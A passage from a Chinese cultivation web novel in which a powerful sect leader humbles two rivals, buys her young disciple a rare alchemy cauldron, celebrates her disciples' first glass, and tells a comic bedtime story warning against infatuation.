一声清脆响亮的耳光,结结实实地抽在了苏心瑶娇嫩的脸上。 与此同时,一股强横无匹的威压骤然从云见月身上爆发出来,如同山岳般轰然压下。 “噗通!噗通!” 苏心瑶和林思思猝不及防,只觉得双膝一软,直接被这股威压狠狠摁倒在地,狼狈地跪在了云见月面前。 云见月居高临下地睥睨着她们,冷哼一声,连多余的眼神都懒得给,拉着郁仙走进了百宝阁。 郁仙忍不住回头看了一眼地上那两个刚才还趾高气扬、此刻却灰头土脸、羞愤欲死的女人。 小丫头唇边勾起一抹轻蔑的弧度。 师尊好霸气! 早上那堂“抡语”课果然没白上。 拳头硬,就是真理。 她仰头看向云见月,眼里满是崇拜,暗暗发誓一定要努力修炼,变得和师尊一样强大。 云见月刚踏入店内,还没来得及细看,身后就传来苏心瑶和林思思气急败坏的尖叫。 两人爬起来,气冲冲地冲进百宝阁,对着掌柜就尖声嚷嚷起来: “掌柜的,你们百宝阁是怎么回事?什么阿猫阿狗都往里放吗?” 苏心瑶指着云见月,声音尖锐刺耳,“她云见月,就是玄天宗的破落户,穷得叮当响,她连十块下品灵石都未必拿得出来,你们放她进来,简直是拉低百宝阁的档次。” 林思思也在一旁帮腔:“就是!心瑶可是带了足足一千块下品灵石来光顾你们店,我们本来还想多挑几件法宝,可看到这种穷酸货色也在这里,真是倒胃口,你们要是不把她们赶出去,这生意我们就不做了。” 一千块下品灵石? 掌柜的眼睛瞬间亮了,这可是一笔不小的生意,他脸上堆起职业笑容,目光转向云见月时,不悦道: “这位道友,你要是不买东西的话……” “我不买东西,进来逛大街?”云见月打断他,眼神冷淡,“你们百宝阁就是这么做生意的?” “你买?”苏心瑶像是听到了天大的笑话,不顾脸上火辣辣的疼,再次嗤笑出声,“你拿什么买?谁不知道你爹死了以后,玄天宗早就败落得不成样子。 整个宗门就剩你和你那五个废物徒弟撑着,穷得都快揭不开锅了吧?我看你把自己卖了,都买不起这里最便宜的法器。” 云见月懒得跟她废话,目光在琳琅满目的货架上扫过,很快锁定了一个摆在最显眼位置、通体流转着温润玉光、造型精致小巧的炼丹炉。 炉身上隐隐有符文流转,一看就不是凡品。 “那个炼丹炉,我要了。”云见月抬手一指。 苏心瑶和林思思顺着她手指的方向看去,顿时笑出了声: “噗哈哈哈——云见月,你眼睛瞎了吗?” “那可是高阶炼丹炉,标价一万块下品灵石,一万块!你知道一万块下品灵石是什么概念吗? 就算我是天元宗宗主之女,也要省吃俭用攒上十年,就凭你?把你玄天宗的山头卖了都不够。” 林思思也捂着嘴讥讽:“真是癞蛤蟆想吃天鹅肉,也不撒泡尿照照自己什么德行,梦里啥都有,赶紧回去做梦吧!” 郁仙气得小脸通红,攥紧小拳头大声反驳:“不许你们诋毁我师尊,我师尊说买得起就是买得起。” “买得起?”苏心瑶笑得前仰后合,信心满满道:“云见月,你要是真买得起,我苏心瑶今天就把脑袋拧下来给你当球踢!” 云见月挑眉,“拧脑袋?那倒不必,我对你的脑袋不感兴趣。这样吧,我们打个赌,如果我买得起这个丹炉,你和林思思的储物袋归我,如果我买不起……” 她故意拉长语调。 “如果你买不起,你就脱光了衣服,跪在百宝阁门口学狗叫,还要发誓永远不再纠缠凌风哥哥。”苏心瑶立刻抢着说出恶毒的条件,眼中闪烁着兴奋的光芒,仿佛已经看到云见月身败名裂的场景。 “可以。”云见月答应得干脆利落。 苏心瑶和林思思对视一眼,脸上是毫不掩饰的得意和等着看好戏的兴奋。 她们笃定,云见月绝对拿不出这笔巨款。 “我倒要看看,你如何凭空变出一万块下品灵石。”苏心瑶抱着手臂,一脸鄙夷。 云见月微微一笑,手腕轻翻。 唰! 一百块闪烁着纯净柔和光芒、灵气氤氲的灵石,整整齐齐地出现在她手中。 “就这?”苏心瑶只看了一眼,“这么点灵石,撑死了一百块,离一万块差得远呢,你输了!快脱衣服跪下学狗叫!” 林思思也嗤笑:“就是,脱衣服,学狗叫。” 云见月笑容不变,语气带着一丝玩味:“苏大小姐,要不你再仔细看看?或者,掌柜的你来看看,我这一百块灵石到底买不买得起。” 掌柜的在云见月拿出灵石的瞬间,眼睛就直了,哈喇子都快流出来了。 “上、上品灵石!这是上品灵石!一块就相当于一万块下品灵石,这一百块上品灵石,那就是一百万块下品灵石,天啊!!!” 掌柜的激动得语无伦次,这辈子都没见过这么多上品灵石堆在一起。 “什……什么?”苏心瑶脸上的得意瞬间凝固,不敢置信地尖叫起来,“不可能!绝对不可能!云见月你哪来这么多上品灵石?你一定是偷的!抢的!” 云见月懒得解释,“废话少说,愿赌服输,储物袋,拿来。” 苏心瑶和林思思下意识地死死捂住自己的储物袋,脸上写满了抗拒和不甘。 “怎么?”云见月眼神一厉,“需要我亲自动手来取?我不介意让你们再跪一次。” 感受着那令人心悸的压迫感,想到刚才被摁跪在地的狼狈,苏心瑶和林思思浑身一颤。 她们虽然骄纵,但也清楚自己和云见月实力上的巨大差距。 在绝对的力量面前,她们连反抗的资格都没有。 两人脸色灰败,牙齿几乎咬碎,最终还是万分不情愿地解下了自己的储物袋,递给了云见月。 云见月毫不客气地一把抓过,随手塞进自己的储物袋里。 这时,那掌柜的已经从百万灵石的冲击中回过神来,脸上堆满了谄媚到极致的笑容,搓着手,腰都快弯成了九十度: “仙子,那高阶炼丹炉是您的了,咱家店还有很多上好的法器法宝,您看您还需要点别的吗?” 云见月冷淡地瞥了他一眼,“不必了。” “啊?”掌柜的一愣。 云见月嘴角勾起一抹讥讽的弧度:“我这个人啊,最讨厌别人狗眼看人低。而你刚才不问青红皂白就偏袒她们两个的态度,恰好就犯了我的大忌,所以,这丹炉我不要了。” 掌柜如遭雷击,脸上的谄媚瞬间化为死灰。 苏心瑶却像抓住了救命稻草,尖声叫道:“云见月你耍赖,刚才打赌说的是你能买得起丹炉,我们才算输,现在你不买,把我们的储物袋还回来。” 林思思也附和:“对!还给我们!” 云见月像是看白痴一样看着她们,慢悠悠地道:“我的灵石,是不是够买那个丹炉?是不是买得起? 我有说过我一定要买吗?我只是证明我有买的能力而已。至于我买不买,在哪买,那是我的自由,懂?” “你……你……”苏心瑶指着云见月,却一句话也说不出来,。 云见月懒得再理会她们,拉着满眼小星星、崇拜得无以复加的郁仙,转身就走。 在苏心瑶、林思思怨毒的目光和掌柜绝望懊悔的注视下,云见月头也不回地走向了对面的聚宝堂。 你让我不痛快,我就让你的生意也做不成。 卖法宝的地方多了去了,何必花钱买气受? 第29章 修真界的第一块玻璃,诞生了 苏心瑶那种跳梁小丑,根本不值得她多费心神。 带着郁仙走进聚宝堂,店内陈设虽不如百宝阁奢华,却透着一股古朴沉稳的气息。 她开门见山:“掌柜的,我要最好的炼丹炉。” 掌柜的是个留着山羊胡的老者,闻言抬眸打量她片刻,确认她眼神认真,才捋着胡子道:“道友确定要最好的?” “确定以及肯定。”云见月语气笃定。 老者捋了捋胡须,神情郑重起来:“道友稍候。” 他转身走向内堂,不多时,小心翼翼地捧着一个被锦缎覆盖的东西走了出来。 他轻轻揭开锦缎,刹那间,整个聚宝堂仿佛被一层柔的光晕笼罩。 炼丹炉通体呈暗绿色,却在光线下流转着翡翠般的光泽,炉盖雕刻着藤蔓图文,炉底刻着一圈细密的聚灵阵纹,灵力流转间,竟能自主吸收周围灵气。 这分明是极品宝器! 比百宝阁那件高阶丹炉不知强出多少个档次。 老者看着丹炉,眼中带着一丝骄傲与惋惜:“此炉名为‘九转蕴神鼎’,乃是我聚宝堂宗主早年在一处上古秘境中偶然所得。 此鼎神异非常,能极大提升成丹率与丹药品阶,更能温养丹师神魂,减少炸炉风险。 可惜,宗主不擅丹道,此鼎便一直作为镇店之宝在此寄售,奈何……” 他叹了口气,“此鼎定价八十八万八千八百八十八块下品灵石,十年来,无人能将其请走。” “看起来不错。”云见月抬手抚摸,入手温润,她点点头,没有丝毫犹豫,“就这个了。” 老者完全没料到云见月如此干脆,咽了口唾沫,再次确认:“道友,您确定?这可是八十八万八千八百八十八块下品灵石啊!” 这个数字,足以让一个中等宗门伤筋动骨。 旁边的郁仙更是被这恐怖的价格惊得倒吸一口凉气,小脸都白了。 刚才那个一万下品灵石的丹炉,在她看来已是天价,眼前这个更是天文数字。 她下意识地紧紧拽住云见月的衣袖,拼命摇头,声音带着急切和不安:“师尊,这个太贵了,仙儿不要,仙儿只要一个普通的炼丹炉就好了。” 说着,她转头去看老者。 “爷爷,你们店里最便宜的炼丹炉能拿给我吗?” 云见月摇头:“仙儿乖,咱们不要最便宜的。” 说着,她蹲下身来,目光与郁仙平视,眼神温柔而坚定。 “仙儿,记住为师的话,只要是你喜欢的,并且对你有用的东西,在师尊能力范围内,那就不算贵。你值得拥有最好的,师尊就是要给你最好的。” 穿越之初,看着这几个被原主忽视、甚至苛待的小徒弟,她就暗暗发誓,要给他们倾尽所有的爱,弥补他们缺失的温暖。 尤其是对郁仙和苏渺渺这两个女孩子,她更要“富养”。 她要让她们从小就意识到自己的珍贵,意识到自己值得世间一切美好。 只有这样,当她们长大,面对外界的诱惑时,才不会轻易被一些廉价的“好”所打动,才能更有底气去选择真正值得的人与事。 免得将来情窦初开时,被几句甜言蜜语、几件破烂玩意儿骗走。 云见月的话语,如同暖流瞬间冲垮了郁仙心中的堤坝,她眼眶倏地红了。 这些日子师尊对她极好,买糖葫芦、糖人、新衣服,哄她开心,但她从未想过,师尊会为了她,愿意付出如此难以想象的巨款。 那句“你值得”,更是狠狠撞击在她幼小的心房上。 几天来的幸福如同梦幻,此刻却因为师尊这句沉甸甸的话语而变得无比真实。 郁仙红着眼睛,鼻头酸涩,喉咙哽咽,将翻涌的泪意憋回去,带着浓重鼻音小声说:“谢谢师尊……” 云见月笑着揉了揉她的小脑袋,站起身:“傻孩子,我是你师尊,师尊给你买,你就安心收着。以后好好用它炼丹,就是给师尊最好的回报了。” “嗯!”郁仙用力点头,小手紧紧攥成了拳。 一旁的老掌柜将这一幕尽收眼底,心中也大为触动。 修真界师徒情深者不少,但像眼前这位年轻女修这般,为了一个六七岁的徒儿,眼都不眨就豪掷近九十万下品灵石购买极品宝器丹炉的,简直是闻所未闻。 这份魄力,这份对弟子的宠溺与期许,让他这个见惯了人情冷暖的老者,也不禁心生感慨。 “道友一片赤诚爱徒之心,令人钦佩,此鼎能得遇明主,也是它的造化!”他不再多言。 云见月直接将九十块上品灵石落在柜台上,莹润的光芒照亮了老者震惊的脸。 “上品灵石!”掌柜的又是一惊。 他小心翼翼地点清数目,激动地将灵石收好,然后拿出算盘噼里啪啦一阵算,恭敬地找给云见月一万一千一百一十二块下品灵石。 这找零的钱,都够在对面百宝阁再买一个不错的丹炉了。 云见月将散发着温润光芒的“九转蕴神鼎”收好,拉着小脸带着红晕的郁仙,走出了聚宝堂。 她们前脚刚走,后脚百宝阁的掌柜就得到了消息,得知那尊十年无人问津的镇店之宝被云见月在聚宝堂买走,顿时捶胸顿足,悔恨交加,差点一口气没上来。 他错过的何止是一笔天价生意,更是一个结交神秘富豪的机会啊! 她没急着回宗门,毕竟答应了给虞青焰做新衣服。 聚宝堂距离云织坊只隔了一条街,上次在云织坊愉快的购物经历让她记忆犹新,这次自然还打算去那里。 然而,刚到门口,对面霓裳阁的掌柜就眼尖地认出了她。 对方堆起十二分的笑容,姿态放得极低: “仙子留步,来我们霓裳阁看看吧,我们霓裳阁的成衣款式新颖,料子上乘,做工精细,绝对物超所值,您若是诚心想要,价格好商量,给您最大优惠。” 云见月淡淡瞥了他一眼,想起上次不愉快的经历,语气疏离:“一朝被蛇咬,十年怕井绳。” “不会不会,上次那是有眼无珠的伙计怠慢了仙子,我已经将他打发走了。”掌柜的连忙解释,甚至不惜自曝背景,“仙子可能有所不知,我们霓裳阁背后可是青云剑宗,青云剑宗乃修真界魁首,最重信誉,您尽管放心购买。” 青云剑宗?云见月眼神微冷。 原来是楚凌风的宗门的产业,那她更不可能在这里花钱了。 给青云剑宗送钱,不就等于间接给楚凌风送钱? 若是被楚凌风知道,又该自以为是的觉得她在拐弯抹角的讨好他了。 “不必了,我还是更喜欢云织坊的风格。”云见月说完,抬步就要走。 霓裳阁掌柜见她油盐不进,脸上的笑容瞬间僵住,一股恼羞成怒的情绪涌了上来,竟口不择言地威胁道: “仙子且慢,您可知那云织坊是谁的产业?是合欢宗!” 他带着一丝阴狠:“合欢宗与我青云剑宗向来势同水火,您去支持合欢宗的生意,那就是公然与我青云剑宗为敌。” 他似乎觉得这还不够分量,又补充道:“不怕告诉您,这整个坊市,我青云剑宗的产业可不止霓裳阁一家,另一条街的百宝阁也是,我们就是故意开在合欢宗产业对面,就是要打压他们,您若执意要去云织坊,可要想清楚后果!” 云见月脚步一顿,缓缓转过身,脸上非但没有惧色,反而露出一抹玩味的笑容:“哦?聚宝堂也是合欢宗的产业?” “那是自然!”掌柜的昂起头,带着一丝倨傲。 “呵……”云见月轻笑出声,笑意却未达眼底。 敌人的敌人就是朋友,合欢宗与青云剑宗是死对头,而她云见月,与青云剑宗同样势不两立。 若想壮大玄天宗,对抗青云剑宗这个庞然大物,与合欢宗结盟,似乎是一条绝佳的途径。 她斜睨掌柜一眼,化神期的威压如同大山压来,吓得对方脸色惨白,双腿不受控制地发软,连一个字都再也说不出来。 云见月不再看他一眼,拉着郁仙,径直走进了云织坊。 上次那个伙计一眼认出她,热情招呼:“仙子您来了,欢迎欢迎!这次需要点什么?您是熟客,价格好说。” 云见月也不废话,直接拿出早已准备好的设计图纸。 礼服稍作修改,整体依旧华丽梦幻,但领口加高,内衬增加了更保守的白色纱衣,少了几分暴露,多了几分圣洁与矜持。 伙计接过图纸,只看了一眼,眼睛瞬间浮现惊艳和赞叹,忍不住惊呼:“天啊!这衣服设计得太绝妙了,华丽、飘逸、又带着仙气,尤其那层层叠叠的花朵,简直太独特了,这是仙子您设计的?” 云见月不想过多解释,便微微颔首:“算是吧,能做吗?” “能做!当然能做!”伙计连连点头,随即又有些迟疑,“只是,这衣服对穿着者的气质要求极高。” “无妨,我要送的那位朋友,容貌绝色,气质独一无二,驾驭此衣,绰绰有余。” “那就好,那就好。”伙计放下心来,随即眼中闪过一丝精光,试探着问:“仙子,您这设计图卖不卖?” 他有些不好意思,“实不相瞒,这设计实在太惊艳了,我们店想多做几件出售,利润我们可以四六分,您六,我们四,您看如何?” 云见月果断摇头:“抱歉,这个恐怕不行。” “那……三七也行!”伙计不死心。 “不是分成的问题。”云见月解释道,“我那位朋友性情有些特立独行,他若发现有人与他穿着同样的衣服,恐怕……” 她故意停顿了一下,露出一个“你懂的”的表情。 伙计惋惜地叹道:“唉,那真是太可惜了。” “但你们做得好,我可以多加钱。”云见月补充,“要用最好的料子,不要怕贵,钱不是问题。” 虞青焰那祖宗挑剔得很,要是料子差了,他肯定不满意,到时候闹起来,头疼的还是她。 “仙子放心,包在我们身上,一定用最好的料子,最顶级的绣工。”伙计拍着胸脯保证,“您三天后来取,保您满意。” 交代完衣服的事,云见月带着郁仙返回玄天宗。 回到宗门,宗门一片寂静。 云见月疑惑:“人呢?虞青焰这家伙不会带着孩子们跑出去玩了吧?” 正疑惑时,炼器房方向传来一阵惊呼。 “哇——” “好透亮!” “这就是玻璃吗?简直跟琉璃一样,不,比琉璃还要透。” 云见月与郁仙对视一眼,快步朝炼器房走去。 推开炼器房的门,只见萧星尘、鹿闻声、江迷雾、苏渺渺围在一起,连向来懒散的虞青焰都站在一众小萝卜头后面,一个个瞪大了眼睛,小脸上满是惊奇与兴奋,仿佛看到了什么不可思议的宝物。 而被围在中间的是一块纯净无瑕,如同凝固的泉水,又如最上等的寒冰的东西。 那东西在室内折射出柔和的光晕,它极其透明,透过它,能清晰地看到后面的一切。 苏渺渺忍不住伸出小手,小心翼翼地戳了戳那光滑的表面,触手冰凉坚硬。 “这个东西是做什么用的呀?” “它可以代替油纸,安装在窗户上。”云见月走进来。 听到她的声音,鹿闻惊喜的回头,期待的问:“师尊,我按照您给的法子炼出来了,我炼制的对吗?” 阳光透过玻璃照在他脸上,映得那双眼睛亮晶晶的。 云见月笑看着他,“为师就知道你可以。” 鹿闻声羞涩的挠了挠头。 第30章 虞美人美则美,就是长了一张嘴 虞青焰凑过来,用指尖戳了戳玻璃,挑眉道:“这破板子倒是透亮,用来做我房间的镜子正好。” “想得美。”云见月把玻璃收起来,“先装窗户,你的镜子排队。” 她拍了拍手,吸引孩子们的注意力。 孩子们立刻安静下来,仰着小脸,亮晶晶的眼睛充满期待地望着师尊。 “宝贝们,为师已经在玉简中发布了公告,要不了多久,就会有人来咱们玄天宗修缮殿宇,到时候,所有房间都装上玻璃,你们说好不好?” “哇——”孩子们忍不住发出低低的欢呼。 “装上玻璃,在房间里就能清楚地看到外面的风景了。” “而且这个玻璃好硬好滑,风都吹不破,以后冬天,再也不用担心冷风从破洞吹进来了。” “它还能挡雨,下雨天也不怕雨水飘进来。” “白天不用点灯,阳光能直接照进房间,亮堂堂的;晚上还能透过玻璃看天上的月亮星星。” “师尊万岁!师尊万岁!”孩子们再也按捺不住心中的喜悦,欢呼起来,围着云见月蹦蹦跳跳。 看着他们发自内心开心的笑,云见月也由衷的笑起来。 好半天,她才抬起手做了个噤声的手势。 小家伙们立刻像被按了暂停键,齐刷刷地捂住小嘴,只是那亮晶晶的眼睛和翘起的嘴角,泄露了他们内心的雀跃。 “闻声。”云见月看向自己的二徒弟,眼神充满信任,“宗门只有你能炼制玻璃,接下来一段时间,可就要辛苦你了。” 鹿闻声挺起小胸脯,小脸因激动而泛红:“师尊放心,我一定炼出又多又好的玻璃,把咱们宗门装点得亮堂堂的。” 萧星尘也站出来,鼓了鼓胳膊上的小肌肉。 “我有力气,二师弟需要什么石头,我去搬。” “我!我帮二师兄把大石头砍碎。”江迷雾立刻举手,他可是立志成为剑修的男人,剁石头正好练剑法。。 “渺渺是小福星。”苏渺渺也不甘示弱,“渺渺要每天给二师兄祈祷,让炉火旺旺的,玻璃亮亮的,一次就成功。” 郁仙看着师兄师弟师妹都积极踊跃,想了想,柔声道:“我也不能闲着,我给大家做饭,保证香喷喷的,让大家干活都有力气。” 看着眼前这群懂事又能干的小萝卜头,云见月的心简直要被暖化了。 她露出老母亲的慈爱笑容,拍手称赞:“我的徒儿们一个个都这么棒!为师有你们,简直是上辈子修来的天大福气,要是被外面的人知道我的徒儿如此贴心,肯定都要嫉妒死我了。” 云见月实在忍不住,弯腰,在每一张可爱的小脸上都狠狠亲了一口。 孩子们被亲得仿佛打了鸡血一般,恨不得立刻到田里犁二亩地。 虞青焰看着这师徒情深、其乐融融的画面,莫名觉得空气中飘荡着一种名为“温情”的粉红泡泡,让他这个外人显得有点多余。 他撇了撇嘴,懒洋洋的开口:“啧,真是受不了你们,腻腻歪歪的。” “云见月,我饿了,我要吃饭。” 云见月:“……” 她默默翻了个白眼,这祖宗怕不是对“温馨浪漫”重度过敏?专门负责煞风景的吧? 不过,看在他今天还算老实守家的份上,算了,不跟他计较。 “宝贝们饿不饿?想吃什么?” “师尊做什么,我们就爱吃什么!”五个小家伙异口同声,小奶音脆生生的。 这整齐划一的“小马屁”瞬间哄得云见月眉开眼笑,心花怒放。 虞青焰嘴角微抽,真是一群小马屁精,但他那微微上扬的眉梢,却泄露了他心情颇好。 “那今天咱们做肉包子!”云见月挽起袖子,“灵猪肉馅的,保证香掉眉毛。” “好耶好耶,上次师尊做的肉饺子就特别香,肉包子肯定更香。”孩子们欢呼着,如同过年一样。 说干就干! 来到厨房后,萧星尘化身“洗菜工”,吭哧吭哧地清洗着翠绿的野韭菜,水花溅得他小脸上都是,他还笑得傻乎乎的。 江迷雾则兴奋地祭出凝霜剑,嘴里还“嘿哈”有声,剑气精准地将肉块切成均匀的小丁,溅不起半点肉末。 苏渺渺迈着小短腿,吭哧吭哧地从柴房抱来一捆捆干柴,小脸憋得通红,却坚持不要别人帮忙,一趟又一趟,勤快得像只小松鼠。 鹿闻声蹲在灶膛前,指尖一点灵火精准地投入灶膛,熟练地控制着火候,火焰不大不小,正好烧热水。 郁仙则挽起袖子,站在案板前,认认真真地和面。。 厨房顿时热闹起来,水声、剁馅声、柴火噼啪声混在一起,每个人脸上都沾着面粉或水珠,却笑得格外灿烂,充满了人间烟火的热闹与温馨。 等云见月调好馅,就可以包包子了。 转眼间,一个个白胖胖、圆滚滚的包子就在她的手中诞生了,整齐地码放在巨大的蒸笼里。 厨房外,虞青焰慵懒的躺在老槐树上。 月光透过叶隙洒在他身上,晚风带着山间的清凉,将那身花团锦簇的长袍吹得轻轻扬起,浓烈的色彩在墨绿的树叶间晃动,像枝头炸开了一簇簇绚烂的花。 月光为他俊美无俦的侧脸镀上一层朦胧的银辉,长长的睫毛在眼下投下淡淡的阴影。 他闭着眼,仿佛睡着了,整个人静谧得如同一幅精心绘制的工笔画。 鼻尖萦绕着包子的香气,唇角悄悄勾起一抹自己都没察觉的弧度。 如果被云见月看到,一定会感叹一句:怪不得死了都要被做成标本......卖身。 当空气中那浓郁的、带着麦香和肉汁鲜美的包子香气达到顶峰时,他鸦羽般的睫毛微微颤动了一下。 云见月从厨房走了出来,抬头,望向树上那道花团锦簇的身影。 挺直的鼻梁,微抿的薄唇,完美的下颌线……安静下来的虞青焰,美得惊心动魄,让人连呼吸都忍不住放轻。 云见月叹息:真是造物主的偏心杰作啊。 不过,看他如此优哉游哉,有点来气,是怎么回事? “虞大美人。” “干嘛?”树上的人眼睛都没睁,懒洋洋地应了一声。 “没睡就滚下来吃饭,嚷嚷着饿的是你,饭熟了还让人三催四请的,我看你就是不饿,再多饿你两顿,你就老实了。” 虞青焰:“???” 发烧了?火气这么大。 虞青焰慢悠悠地睁开眼,那双漂亮的桃花眼在月光下仿佛盛着碎星。 他姿态优雅地翻身落地,拍了拍衣袖上并不存在的灰尘,语气带着一丝勉为其难的矜持:“既然你这么诚挚地邀请了,那我就勉为其难地同意了。” 云见月:“……”手,有点痒。 热气腾腾的大蒸笼掀开盖子的瞬间,浓郁的白气裹挟着无与伦比的香气喷涌而出,瞬间征服了所有人的嗅觉。 孩子们围坐在餐桌前,云见月给他们每人分了一个又大又白、冒着热气的胖包子。 包子白胖诱人,咬一口,滚烫的肉汁瞬间在嘴里爆开,灵猪肉的鲜嫩混着野韭菜的清香,面皮松软带着淡淡的麦香,烫得人直哈气却舍不得松口。 “唔,好烫,好好吃。”萧星尘一边呼呼吹气,一边大口吃着。 “师尊调的馅最好吃了。”江迷雾吃得小脸鼓鼓囊囊,像只小仓鼠。 “好次,好次。”鹿闻声和苏渺渺吃得头也不抬。 郁仙小口小口地吃着,脸上是满足又幸福的笑容。 云见月看着孩子们狼吞虎咽、吃得喷香的可爱模样,脸上也是满满的幸福。 她目光一转,落在旁边看似慢条斯理,实则动作不慢的虞青焰身上。 这位“勉为其难”尝一口的虞大美人,正姿态优雅地消灭了他盘子里第五个拳头大的包子。 那修长的手指捏着白胖的包子,竟也赏心悦目。 “怎么样?”云见月故意问道,“可还合您尊口?” 虞青焰优雅地咽下第六个包子,拿起手绢擦了擦嘴角,才语气平淡无波,带着一丝挑剔:“嗯,马马虎虎吧,也就能入口。” 云见月扫了一眼他伸向第七个包子的手,嘴角抽搐。 “马马虎虎你还能吃七个,要是好吃,你不得吃七十个?我明白了,你其实是个饭桶。” 虞青焰险些被嘴里的包子噎住,罕见地红了脸。 孩子们偷偷交换着眼神,捂着小嘴,肩膀一耸一耸地偷笑。 云见月看着眼前的场景,突然觉得有这群可爱的徒弟和一个嘴硬心不坏的“美人哥”,好像也没那么难。 一顿饭,所有人都吃得心满意足。 回寝殿的路上,郁仙犹豫再三,终于鼓足勇气,道:“师......” 可还没等她把话说完,苏渺渺就欢快的抱住云见月的腿撒娇:“师尊,今天晚上渺渺还要听睡前故事,师尊可不可以来渺渺房间。” 她仰着头,眨巴着大眼睛,一脸期待的问。 被她忽闪忽闪的大眼睛看着,云见月怎么好拒绝。 她一把将小丫头抱起,单手拖着她的小屁股,另一只手刮了刮她的小鼻子。 “好好好,师尊给你讲。” 苏渺渺立刻张开双臂,用力搂住云见月的脖子,“我就知道师尊最好了。” 嘻嘻,今晚她就问师尊核弹用什么材料,等明天就可以告诉二师兄了。 “你呀,就会跟为师撒娇,真拿你没办法。”云见月纵容道。 看着她们这副“母慈子孝”的温馨画面,郁仙默默垂下了眸子。 可是,我也好想听睡前故事。 第31章 恋爱脑预防针,从娃娃抓起 郁仙站在廊下,看着云见月抱着苏渺渺越走越远。 心口像被小针扎了一下,酸溜溜的。 她捏了捏衣角,指尖无意间触碰到腰间的储物袋。 她想起了白天时,师尊毫不犹豫就花了八十八万八千八百八十八块下品灵石给她买极品炼丹炉。 “师尊不知道我也想听。”她小声对自己说,“如果师尊知道,一定也会给我讲睡前故事的。” “而且,师尊给了我这么珍贵的礼物,她对我已经很好了,我该知足的。” 她抿了抿唇,都怪自己太没用,下一次,她一定对师尊大胆的表达出自己的想法,她暗自给自己打气。 这么一想,心里的酸涩就淡了。 她推门进屋,第一件事就是从储物袋里取出丹炉,放在桌上细细抚摸。 这是师尊送她的第二件礼物,第一件是那甜甜的糖人。 “我不是没人疼的孩子了。”郁仙对着丹炉轻声说,嘴角悄悄扬起。 有了它,她一定要炼制出最好的丹药,报答师尊。 做完这些,她又想起了什么,弯下腰,费力地从床底下拖出旧木箱。 只见箱子里,几簇灰白的蘑菇冒出小小的菌伞,看着水灵极了。 郁仙伸出小手,指尖萦绕起淡绿色的柔和光芒,纯净的木系灵力如同涓涓细流,温柔地滋养着土壤和那些小小的蘑菇。 菌伞似乎微微颤动了一下,在灵力滋养下显得更加水灵饱满。 郁仙忍不住舔了舔唇瓣,想起师尊做的小鸡炖蘑菇,鲜得能把舌头吞下去。 师尊做的饭菜都很好吃,但她最爱的就是这道菜,尤其是里面吸饱了汤汁、口感滑嫩鲜美的蘑菇。 或许是因为她身具木灵根,对这些植物有着天然的亲近感。 “快点长呀,长大了就能给师尊师兄师弟师妹们做汤了。”郁仙开心地想着,小心翼翼地将木箱推回床底。 另一边,苏渺渺已经乖乖躺进被窝,只露出一个毛茸茸的小脑袋,大眼睛亮晶晶地望着坐在床边的云见月,奶声奶气地催促,“师尊师尊~今天讲什么故事呀?渺渺准备好啦!” 云见月手指敲着下巴,突然眼睛一亮,神秘兮兮地说:“今天啊,为师给你讲一个非常有教育意义的故事,叫——《孔融让离》!” 孔融让梨? 苏渺渺歪着小脑袋,一听这个名字,就知道这个叫孔融的人是一个非常有礼貌的人。 师尊给她讲这个故事,可能是希望她懂得分享,她要好好听听。 云见月清了清嗓子,一本正经地开讲,“从前有个小朋友叫孔融,他非常文明、懂事、有礼貌,是大家公认的好孩子。” 苏渺渺使劲点头,果然和她想的一样。 “有一天,孔融的爹爹和娘亲在家里吵架了,吵得很凶很凶,桌子都掀了。” 苏渺渺的小眉头立刻皱了起来:吵架不好,爹爹娘亲要相亲相爱才行。 云见月话锋一转:“这时候,懂事的孔融站了出来,对他两说……” 讲到这里,云见月突然卖了个关子。 “渺渺,你猜他说了什么?” “我知道!我知道!”苏渺渺激动地小脸兴奋得通红,“孔融一定是为了安慰爹爹娘亲,就把自己心爱的梨子让给了他们,爹爹娘亲吃了甜甜的梨子,就不吵架了,对不对师尊?” 云见月露出一丝高深莫测的笑容:“不!” “啊?”苏渺渺愣住了,“不对?那……那孔融说了什么呀?” “孔融说:你两能过过,不能过,离!这就是著名的孔融让离的故事。” 苏渺渺:“……(⊙o⊙)?” 她小小的脑袋瓜里充满了大大的疑惑。 孔融让……离?不是让梨? 看着小徒弟一脸懵,仿佛世界观受到小小冲击的呆萌表情,云见月憋笑憋得肚子疼。 她努力维持着严肃的师尊形象,问道:“渺渺,通过孔融让离的故事,你明白了一个什么道理?” 苏渺渺皱着小眉头,苦思冥想,四岁的小脑瓜快打结了也想不明白。 云见月揉了揉她的小脑袋,一本正经地灌输“歪理”: “这个道理很简单,它告诉我们,两个人要是不合适,硬凑在一起就是互相折磨,那就要及时分开,不要继续浪费彼此的时间和感情,这叫‘及时止损’。” 苏渺渺似乎有些懂了,又不太懂。 云见月趁热打铁,“尤其是女孩子,可不能一门心思扑在谈恋爱上,不然容易变成恋爱脑。” “恋爱脑是什么呀?”苏渺渺眨巴着眼睛。 “就是被渣男骗得团团转,他虐你千百遍,你还觉得他是小甜甜。”云见月痛心疾首,“轻则被欺负、被利用,重则被抽血、挖心、掏肝、割肾,最后被虐死了,那个渣男还可能装出一副深情的样子,哭天抢地。 然后所有人都会说:哎呀,看那个男人多深情啊!可实际上呢?受伤的只有你自己,多可怕!” 苏渺渺被吓得小脸一白,抓紧了被子,小脑袋摇得像拨浪鼓:“不要不要,渺渺才不要被被抽血挖心掏肝割肾,不要被渣男虐身虐心。” “对嘛!”云见月满意地点点头,“所以渺渺以后要怎么做?” 苏渺渺握紧小拳头,眼神变得异常坚定,奶凶奶凶地说:“渺渺要远离渣男,要努力修炼,变得和师尊一样厉害,以后要是遇到渣男欺负我,我就……我就一拳打死他。” 云见月看着小徒弟那副“我超凶”的可爱模样,还是强忍着笑意,竖起大拇指: “说得好!这才是我云见月的徒弟,记住,咱们都修仙了,长生大道不香吗?要什么男人?谈什么恋爱?搞事业!变强大!才是王道!” 苏渺渺用力点头,小脸上满是认同:“嗯!修仙!变强!打渣男!” 她小小的脑袋瓜里,“孔融让离”的故事和“远离渣男,努力修仙”的信念奇异地融合在了一起,虽然过程有点歪,但结果……嗯,云见月表示非常满意。 恋爱脑预防针,从娃娃抓起! 苏渺渺消化了一下这个“震撼人心”的故事,又想起了另一件重要的事,拽着云见月的袖子问:“师尊,你上次说的核弹,到底长什么样呀?“ 云见月也没多想,只当是小孩子的好奇心。 她凭着记忆给她描述:“核弹啊,大概像个特别特别大的大胖鱼,外面是金属壳子,它的威力就像把一千个元婴大能自爆的力量压缩在一起,然后‘轰’的一声全放出来,能瞬间炸出一个大坑,波及范围特别广......” 